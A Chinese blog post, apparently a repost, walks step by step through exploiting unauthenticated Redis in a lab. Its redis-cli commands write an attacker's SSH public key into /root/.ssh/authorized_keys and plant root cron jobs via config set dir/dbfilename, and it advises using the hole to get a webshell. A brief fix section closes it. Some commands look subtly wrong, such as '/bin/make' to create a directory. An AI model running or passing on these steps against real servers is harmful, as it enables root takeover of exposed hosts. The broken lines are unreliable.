IT技术博客大学习 共学习 共进步

Redis未授权配合SSH免密码登录漏洞及修复

绿盟科技博客 2016-03-14 23:25:35 浏览 3,102 次

   本文作者带大家了解什么是Redis,并且了解Redisc客户端redis-cli、Redis Desktop Manager、Redis的常用的Key操作命令、配置命令,讲解Redis未授权利用配合SSH免密码登录,并且解决利用Redis写公钥依然无法登录的情况以及相关的修复方案,欢迎讨论。 本文由

   红客联盟推荐 由U神原创

   Rdis未授权访问主机:CentOS 7 192.168.199.166
Hacker主机:Kali 2016 192.168.199.199

1、什么是Redis

   Redis 是一个开源的使用ANSI C语言编写、Key-Value数据库,并提供多种语言的API,所谓的KEY对Value指的是每一个Key都对应一个value值。value也可以 是null。与memcached一样,为了保证效率,数据都是缓存在内存中。区别的是redis会周期性的把更新的数据写入磁盘或者用户可以自己手工输 入save命令保存在服务器上,并且在此基础上实现了master-slave(主从)同步。

Redis

Redis

2、Redis客户端

   Redis默认安装好默认端口是6379
Redis默认配置是不对外开放,也就是不允许外联,需要用户手工修改/etc/redis/redis.conf
Redis默认情况下是无需任何账户密码进行连接的
Redis安装之后默认会有一个叫 “redis-server”的服务端用于启动redis服务,启动命令“redis-server /etc/redis/redis.conf”
Redis安装之后默认还会有一个“redis-cli”的客户端,用于连接redis数据库,可以自身连接也可以连接其它主机上的redis

redis-cli 客户端命令之详解

   redis-cli 常用命令:

-h  :指定要连接的主机IP或域名  
-p :指定连接的端口  
-a :指定密码  
-r  :执行指定的命令  
-n  :数据库名  
-x :将最后一个参数输出为value

   我们在hacker主机Kali下去连接目标主机CentOS的redis,如果我们执行keys *命令不会返回需要认证的那说明目标的redis不需要密码认证。

命令

命令

GUI客户端:Redis Desktop Manager

   GUI连接Redis话可以点击 :Connect to Redis Server创建一个连接,可以管理Redis数据,如果需要执行命令,可以在如下的“centos” 右击选择 Console进行Redis的命令行界面,命令行界面在最右下角显示。

客户端

客户端

3、Redis的常用命令

   key操作命令

   set key value :创建一个key对应的值,如果set test 123456,其中test是key, 123456则是value

1

1

   get key :获取key的值 :

2

2

   keys * :获取所有的key,也可以通配符形式搜索指定的key,如果表示当前有两个key

3

3

4

4

   expire key 10 :设置key的过期时间为10秒,10秒之后这个key就没了

5

5

   del key :删除某个key

6

6

   服务器操作命令

   info:获取redis以及服务器的基本信息

7

7

   config get dir :获取cat

8

8

   config set dir /root/ :设置redis的备份路径为/root/,如果提示没权限说明你当前无权限设置该目录

9

9

   config set dbfilename test.php :设置备份文件的名字为test.php,默认为dump.rdb。

   config get dbfilename :自然就是获取备份数据库的名字。

10

10

   save : 将数据库的内容备份到本地磁盘,默认备份在安装Redis的src目录,名字为dump.rdb

4、Redis未授权利用造成SSH免密码登录

满足Redis是以root权限运行
满足服务器上存在.ssh目录,听说是要用SSH登录过都存在,但是我验证好像不是这么回事

ssh-keygen -t rsa 生成公私钥

11

11

在~/.ssh目录下执行:

(echo -e "\n\n"; cat id_rsa.pub; echo -e "\n\n") > key.txt  
这条命令的含义是将id_rsa.pub的内容输出到key.txt,前后各加上两行空行,防止出错
12

12

   cat key.txt | redis-cli -h 192.168.199.166 -x set crackit

   这条命令的意思是 连接目标192.168.199.166的redis 通过-x参数将key.txt 设置为 key “crackit” 的value 实际上对方的数据库上已经有一个key —value

13

13

   redis-cli -h 192.168.199.166 # 连接目标主机的redis
config get dir #获取redis的备份路径
config set dir /root/.ssh #设置数据库的备份路径
config set dbfilename authorized_keys #设置备份的数据库名称为authorized_keys
config get dbfilename # 查看数据库名是否正确设置
key * #查看我们的key是否成功创建
save # 将数据保存在硬盘之中

14

14

   最后可以成功免密码登录

15

15

   原理: 其实原理是在数据库中插入一条数据,将本机的公钥作为value,key的名字随意,然后通过设置备份数据库的路径为/root/.ssh以及对数据库备份名字为authorized_keys,然后这样就可以在目标服务器的路径生成一个授权KEY。

   注意: 建议是去通过该漏洞获取webshell,获取ssh会发生很多不同问题,比如说save是备份所有数据库,这样会造成很多乱七八糟的数据备份到授权key中导致无法连接,如果在webshell中就不容易出现解析出错的问题了

5、解决redis写公钥依然无法登录的情况

   有些朋友在利用Redis写公钥依然无法空密码登录,为什么呢?
解决方法

   A、将自己的公钥通过以上方法生成authrized_keys,然后通过本地形式(本机测试本机方式),ssh localhost 方式尝试登录,如果能正常登录,则表示授权的KEY没有任何问题

   B、被渗透的服务器上授权key的权限问题应该为600
利用Linux任务计划来设置授权的authorized_keys权限为600。
echo -e “\n\n*/1 * * * * /bin/chmod 600 ~/.ssh/authorized_keys\n\n”|redis-cli -h 127.0.0.1 -x set 1
redis-cli -h 127.0.0.1 config set dir /var/spool/cron/
redis-cli -h 127.0.0.1 config set dbfilename root
redis-cli -h 127.0.0.1 save

   释义:上面这段其实也是保存redis数据的一个过程,不过这个过程是将数据保存为admin,存放在/var /spool/cron下,这个是专门存放任务计划的,而Key 1的值的含义则是:设置任务计划一分钟后执行chmod 600修改authorized_keys的权限为600

   C、服务器没有.ssh目录的问题

   利用Linux任务计划来创建该文件夹
echo -e “\n\n*/1 * * * * /bin/make ~/.ssh \n\n”|redis-cli -h 127.0.0.1 -x set 2
redis-cli -h 127.0.0.1 config set dir /var/spool/cron/
redis-cli -h 127.0.0.1 config set dbfilename root
redis-cli -h 127.0.0.1 save

   D、.ssh目录权限问题

   利用Linux任务计划来设置.ssh目录的权限问题
echo -e “\n\n*/1 * * * * /bin/chmod 700 /home/root/.ssh/\n\n”|redis-cli -h 127.0.0.1 -x set 1
redis-cli -h 127.0.0.1 config set dir /var/spool/cron/
redis-cli -h 127.0.0.1 config set dbfilename root
redis-cli -h 127.0.0.1 save

6、修复方案

   禁止Root启动redis
修改安装目录下的redis.config 将blin 0,0,0,0 设置为指定IP可以登录或者本地登录127.0.0.1
设置密码requirepass  test123!@#$$

建议继续学习

  1. redis源代码分析 - persistence (阅读 32,103)
  2. Redis消息队列的若干实现方式 (阅读 11,925)
  3. 基于Redis构建系统的经验和教训 (阅读 10,381)
  4. 浅谈redis数据库的键值设计 (阅读 9,221)
  5. redis运维的一些知识点 (阅读 8,521)
  6. redis在大数据量下的压测表现 (阅读 8,202)
  7. Redis和Memcached的区别 (阅读 7,942)
  8. redis 运维实际经验纪录之一 (阅读 7,583)
  9. Redis作者谈Redis应用场景 (阅读 7,542)
  10. 记Redis那坑人的HGETALL (阅读 7,321)